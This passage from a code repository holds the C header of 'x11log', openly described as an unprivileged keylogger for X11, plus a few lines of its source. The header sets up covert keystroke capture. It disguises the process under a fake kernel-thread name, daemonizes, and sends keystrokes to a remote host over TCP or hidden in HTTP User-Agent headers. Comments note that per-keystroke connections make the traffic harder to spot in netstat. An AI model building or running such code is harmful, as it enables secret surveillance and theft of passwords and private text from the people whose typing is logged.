598 | if((ptr = malloc(size)) == NULL)
599 | fatal("Unable to allocate memory");
600 |
601 | return ptr;
602 | }
603 |
604 |
605 | #ifdef _HAVE_CURL
606 | size_t curl_blackhole(void* unused, size_t size, size_t nmemb, void* none) {
607 | return size * nmemb;
608 | }
609 | #endif //_HAVE_CURL
610 |
611 |
--------------------------------------------------------------------------------
/x11log.h:
--------------------------------------------------------------------------------
1 | /* vim: set ts=4 sw=4: */
2 | /* -- x11log.h
3 | * x11log - an unprivileged, userspace keylogger for X11
4 | *
5 | * This code is licensed under GPLv3.
6 | * (c) Erik Sonnleitner 2007/2015,
7 | * es@delta-xi.net || erik.sonnleitner@fh-hagenberg.at
8 | * www.delta-xi.net, https://github.com/esonn/x11log
9 | *
10 | * TODOs and Bugs: Please refer to the official project-page on Github
11 | * */
12 |
13 | #ifndef _X11LOG_H
14 | #define _X11LOG_H
15 |
16 | #define X11LOG_VERSION "0.82-beta"
17 |
18 | /* global defines */
19 | #define MAX_KEYLEN 16
20 | #define SHIFT_DOWN 1
21 | #define LOCK_DOWN 2
22 | #define CONTROL_DOWN 3
23 | #define ALT_DOWN 4
24 | #define DELAY 10000
25 |
26 | #define VIS_PREFIX_ALT '+'
27 | #define VIS_PREFIX_CTRL '^'
28 | #define VIS_PREFIX_ALTGR '%'
29 | #define VIS_PREFIX_MENU '$'
30 | #define VIS_PREFIX_SUPER '%'
31 |
32 |
33 | /* The line_buf array holds all keystrokes until is pressed. It defaults
34 | * to LINEBUF_INC_LEN characters at first; if the buffer isn't big enough,
35 | * another LINEBUF_INC_LEN characters are appended to the array. */
36 | //#define LINEBUF_INC_LEN 256 /* If line-buffer */
37 | #define LINEBUF_INC_LEN 10 /* If line-buffer */
38 |
39 | #define XKBD_WIDTH 32
40 | #define BITS_PER_BYTE 8
41 | #define X_DEFAULT_DISPLAY ":0.0"
42 | #define PROCESS_FAKE_NAME "[ahci]"
43 |
44 | /*
45 | * For validation of port-number for remote logging (-r)
46 | * */
47 | #define TCP_PORT_MIN 0
48 | #define TCP_PORT_MAX 65535
49 |
50 | /* HTTP keystroke logging is buffered. This is done, because users typically
51 | * type faster, than a webserver is accepting requests; therefore, and for
52 | * better readability on the server, keystrokes are buffered until a certain
53 | * number of keystrokes is reached, and then sent to webserver. */
54 | #define KEYSTROKE_BUFFER_SIZE 64
55 |
56 | /* Which header field to use */
57 | #define HTTP_HEADER_FIELD "User-Agent: "
58 |
59 | #define ERR_SOCKET -1
60 | #define ERR_CONNECT -2
61 | #define ERR_DNS -3
62 |
63 | /* macros */
64 | #define SWAP(a,b,c) c t;t=(a);(a)=(b);(b)=(t);
65 |
66 | /* structs */
67 | struct config_struct {
68 | char* logfile; /* path to logfile, if not console output */
69 | FILE* logfd; /* file descriptor for general output */
70 | char* display; /* X11 display, like $DISPLAY env variable */
71 |
72 | int log_remote_inet; /* log to remote host? 0: no, 1: yes */
73 | char* remote_addr; /* remote host to log to, as "hostname:port" */
74 | char* host; /* hostname or IP as string */
75 | long port; /* port */
76 |
77 | int silent; /* no log to stdout */
78 | int daemonize; /* daemonize process */
79 | int obfuscate; /* obfuscate process name */
80 | char* process_fakename; /* process name, if obfuscation is used */
81 |
82 | #ifdef _HAVE_CURL
83 | int log_remote_http; /* log to webserver; 0: no, 1: yes */
84 | int log_remote_http_nodelay; /* immediately send HTTP GET request? */
85 | int log_remote_http_post; /* use POST instead of GET */
86 | #endif //_HAVE_CURL
87 | };
88 |
89 |
90 | struct linebuf_struct {
91 | char* buf;
92 | int size;
93 | } linebuf;
94 |
95 | struct kdb_layout_ger_struct {
96 | const char cur;
97 | const char mod;
98 | //const char replacement;
99 | const wchar_t replacement;
100 | };
101 |
102 | const struct kdb_layout_ger_struct kbd_layout_ger[] = {
103 | {'q', VIS_PREFIX_ALTGR, '@'},
104 | {'1', VIS_PREFIX_ALTGR, '¹'},
105 | {'2', VIS_PREFIX_ALTGR, '²'},
106 | {'3', VIS_PREFIX_ALTGR, '³'},
107 | {'4', VIS_PREFIX_ALTGR, '¼'},
108 | {'5', VIS_PREFIX_ALTGR, '½'},
109 | {'6', VIS_PREFIX_ALTGR, '¬'},
110 | {'7', VIS_PREFIX_ALTGR, '{'},
111 | {'8', VIS_PREFIX_ALTGR, '['},
112 | {'9', VIS_PREFIX_ALTGR, ']'},
113 | {'0', VIS_PREFIX_ALTGR, '}'},
114 | // {'ß', VIS_PREFIX_ALTGR, '\\'},
115 | { 0, 0, 0 }
116 | };
117 |
118 | /* globals */
119 | const struct remap_struct {
120 | char src[20], dst[8];
121 | } remap[] = {
122 | {"Return","\n"},
123 | {"Escape","[ESC]"},
124 | {"Delete", ">D"},
125 | // {"Shift",""},
126 | // {"Control",""},
127 | {"space", " "},
128 | {"exclam", "!"},
129 | {"quotedbl", "\""},
130 | {"numbersign", "#"},
131 | {"dollar", "$"},
132 | {"percent", "%"},
133 | {"ampersand", "&"},
134 | {"apostrophe", "'"},
135 | {"parenleft", "("},
136 | {"parenright", ")"},
137 | {"asterisk", "*"},
138 | {"plus", "+"},
139 | {"comma", ","},
140 | {"minus", "-"},
141 | {"period", "."},
142 | {"slash", "/"},
143 | {"colon", ":"},
144 | {"semicolon", ";"},
145 | {"less", "<"},
146 | {"equal", "="},
147 | {"greater", ">"},
148 | {"question", "?"},
149 | {"At", "@"},
150 | {"bracketleft", "["},
151 | {"backslash", "\\"},
152 | {"bracketright", "]"},
153 | {"asciicircum", "^"},
154 | {"underscore", "_"},
155 | {"grave", "`"},
156 | {"braceleft", "{"},
157 | {"bar", "|"},
158 | {"braceright", "}"},
159 | {"asciitilde", "~"},
160 | {"odiaeresis","ö"},
161 | {"adiaeresis","ä"},
162 | {"udiaeresis","ü"},
163 | {"Odiaeresis","Ö"},
164 | {"Adiaeresis","Ä"},
165 | {"Udiaeresis","Ü"},
166 | {"ssharp","ß"},
167 | {"section","$"},
168 | {"acute","´"},
169 | {"degree","°"},
170 |
171 | /* If _UNICODE is defined, let's replace some special characters with
172 | * more representive single-characters unicode equivalents for better
173 | * readability (this should be the default). */
174 | #ifdef _UNICODE
175 | {"BackSpace","⌫"},
176 |
177 | {"Up","↑"},
178 | {"Down","↓"},
179 | {"Left","←"},
180 | {"Right","→"},
181 |
182 | {"Tab","⇥"},
183 | {"ISO_Left_Tab","⇤"},
184 | {"ISO_Level3_Shift",""},
185 | #else
186 | //{"BackSpace","←"},
187 |
188 | //{"Up","↑"},
189 | //{"Down","↓"},
190 | //{"Left","←"},
191 | //{"Right","→"},
192 |
193 | {"Tab","\t"},
194 | #endif
195 |
196 | {"Control_L", VIS_PREFIX_CTRL}, /* Left CTRL key */
197 | {"Control_R", VIS_PREFIX_CTRL}, /* Right CTRL key */
198 | {"Alt_L", VIS_PREFIX_ALT}, /* Left Alt key */
199 | {"Alt_R", VIS_PREFIX_ALT}, /* Right Alt key */
200 | {"Menu", VIS_PREFIX_MENU}, /* Right Windows-Menu key */
201 | {"ISO_Level3_Shift", VIS_PREFIX_ALTGR}, /* Alt-Gr */
202 | {"Super_L", VIS_PREFIX_SUPER}, /* Left Windows key*/
203 |
204 | {"Shift_L",""},
205 | {"Shift_R",""},
206 |
207 | {"",""}
208 | };
209 |
210 |
211 |
212 |
213 | /* * * * * * * * * * *
214 | * Funcion prototypes
215 | * * * * * * * * * * * */
216 |
217 | /* decodeKey()
218 | * checks keycodes and mods, and returns a human-readable interpretation of the
219 | * keyboard status.
220 | * */
221 | char* decodeKey (int code, int down, int mod);
222 |
223 |
224 | /* getMods()
225 | * Read the mod key(s) of the keymap state and return the present mods
226 | * */
227 | int getMods (char *kbd);
228 |
229 |
230 | /* getbit()
231 | * Retrieve one specific bit (idx) of a keymap vector
232 | * */
233 | int getbit (char *kbd, int idx);
234 |
235 |
236 | /* signal_handler()
237 | * Signal handler for SIGTERM, SIGINT and SIGHUP. Only set global flags, which
238 | * are regularly checked in main loop; this prevents us from requiring the
239 | * main configuration structure on global scope.
240 | * */
241 | void signal_handler (int sig);
242 |
243 |
244 | /* fatal()
245 | * fatal: Print error message and abort execution.
246 | * */
247 | void fatal (const char * msg);
248 |
249 |
250 | /* initialize()
251 | * Initialization stuff: parse arguments, define signal handlers, define
252 | * output stream, set default options. Returns time when init() finished.
253 | * */
254 | struct tm* initialize (int argc, char ** argv, struct config_struct* opts);
255 |
256 |
257 | /* transmit_keystroke_inet()
258 | * Transmit keystroke to a remote host, where some daemon is required to listen
259 | * at the given port. The TCP connection is newly established upon every call
260 | * to this function; this is inefficient, but also offers advantages (e.g.,
261 | * chances are lower that the user will see a constant TCP stream in netstat
262 | * output, etc). Returns the number of bytes read, or negative value on error.
263 | * */
264 | int transmit_keystroke_inet(char* key, struct config_struct *opts);
265 |
266 |
267 | /* log()
268 | * printf() wrapper, taking care of debug levels
269 | * */
270 | void log (int level, FILE* stream, const char *fmt, ...);
271 |
272 |
273 | /* daemonize()
274 | * Daemonize logger. If a process_name is given, the name of the newly created
275 | * child as it appears within the process table, is altered. Returns pid of
276 | * child process, or exits on error.
277 | * */
278 | int daemonize (char* child_process_name, struct config_struct* cfg);
279 |
280 |
281 | /* smalloc()
282 | * Secure malloc
283 | * */
284 | void* smalloc (size_t size);
285 |
286 |
287 | /* clean_exit()
288 | * Clean up and exit program: Close open file descriptors and free memory.
289 | * */
290 | void clean_exit (struct config_struct* cfg);
291 |
292 |
293 | #ifdef _HAVE_CURL
294 | /* transmit_keystroke_http()
295 | * Transmit keystrokes to web-server within a HTTP request. For various reasons,
296 | * not every single keystroke is transmitted via a separate request, but a
297 | * keystroke buffer is being filled up to KEYSTROKE_BUFFER_SIZE, and then sent
298 | * as HTTP GET request to a webserver (default: 64 bytes). Keystrokes are being
299 | * sent as value of a HTTP header field (HTTP_HEADER_FIELD, default is User-
300 | * Agent).
301 | * */
302 | int transmit_keystroke_http(char* key, struct config_struct *cfg, int sendnow);
303 | /* curl_blackhole()
304 | * This is just a dummy write-handler, in order to prevent libcurl from
305 | * printing the web-server response.
306 | * */
307 | size_t curl_blackhole(void* unused, size_t size, size_t nmemb, void* none);
308 | #endif
309 |
310 | /* If -l is specified, update the line-buffer (which is flushed only after
311 | * ENTER is pressed. */
312 | int linebuf_update (const char* s, struct config_struct* config);
313 |
314 | /* Replace a sequence of 2 keystrokes into a single new one. This can be
315 | * particularly interesting with certain modifier keys (e.g., on German
316 | * keyboard layouts, '@' is typed AltGr+q. Instead of showing VIS_MOD_XXX + q,
317 | * we can replace it with the correct character. */
318 | void merge_split_keys(char key, const char mod, const char replacement);
319 |
320 | /* Print usage/help */
321 | void print_usage(char* basename);
322 |
323 |
324 | #endif // _X11LOG_H
325 |
326 |
--------------------------------------------------------------------------------